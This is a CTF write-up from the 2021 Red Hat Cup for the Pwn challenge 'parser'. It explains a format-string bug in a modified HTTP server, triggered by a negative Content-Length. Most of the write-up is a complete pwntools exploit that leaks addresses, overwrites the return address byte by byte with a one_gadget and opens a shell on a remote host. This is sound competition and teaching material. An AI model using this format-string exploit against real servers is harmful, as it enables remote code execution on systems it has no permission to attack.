parser

发表于 2021-05-25 更新于 2021-05-26 分类于 Challenge， 2021， 第四届红帽杯网络安全大赛， Pwn
Challenge | 2021 | 第四届红帽杯网络安全大赛 | Pwn | parser

点击此处获得更好的阅读体验

WriteUp来源

来自Venom战队

题目描述

> *Vulnerable parser. Try to exploit!*

题目考点

- *格式化字符串*

解题思路

这题是一个魔改的httpd，Content-Length小于0时存在格式化串漏洞，leak后写one_gadget即可

```python
from pwn import *
from urllib import quote
context.log_level = 'debug'
#p = process("./chall")
p = remote("47.105.94.48", 12435)
libc = ELF("./libc-2.27.so")
code = '''GET / HTTP/1.0
Content-Length:-1

%p-%15$p-%211$p
'''

p.send(code)
p.recvuntil("> ")
stack = int(p.recv(14), 16)
p.recvuntil("-")
pie = int(p.recv(14), 16)
p.recvuntil("-")
libc.address = int(p.recv(14), 16)-0x7ffff7a05b97+0x7ffff79e4000
ret_addr = stack - 0x7fffffffd8bf + 0x7fffffffdec8
one  = libc.address + 0x10a45c
payload = "%"+str((one)&0xff)+"c%22$hhn"+p64(ret_addr)
pad = 22-len(payload)
payload = "A"*pad + "%"+str(one-pad&0xff)+"c%22$hhn"+p64(ret_addr)
code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"%(payload)
#icq2aadaa2801d9610eb6ac281ed140f
p.send(code)
payload = "%"+str((one>>8)&0xff)+"c%22$hhn"+p64(ret_addr+1)
pad = 22-len(payload)
payload = "A"*pad + "%"+str((one>>8)-pad&0xff)+"c%22$hhn"+p64(ret_addr+1)
code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"%(payload)
pause()
p.send(code)
payload = "%"+str((one>>16)&0xff)+"c%22$hhn"+p64(ret_addr+2)
pad = 22-len(payload)
payload = "A"*pad + "%"+str((one>>16)-pad&0xff)+"c%22$hhn"+p64(ret_addr+2)
code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"%(payload)
pause()
p.send(code)
payload = "%"+str((one>>24)&0xff)+"c%22$hhn"+p64(ret_addr+3)
pad = 22-len(payload)
payload = "A"*pad + "%"+str((one>>24)-pad&0xff)+"c%22$hhn"+p64(ret_addr+3)
code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"%(payload)
pause()
p.send(code)
payload = "%"+str((one>>32)&0xff)+"c%22$hhn"+p64(ret_addr+4)
pad = 22-len(payload)
payload = "A"*pad + "%"+str((one>>32)-pad&0xff)+"c%22$hhn"+p64(ret_addr+4)
code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"%(payload)
pause()
p.send(code)
pause()
p.sendline("./getflag")
p.sendline("ICQ_TOKEN")
p.interactive()
```


 # Challenge # 2021 # Pwn # 第四届红帽杯网络安全大赛

manager

file_store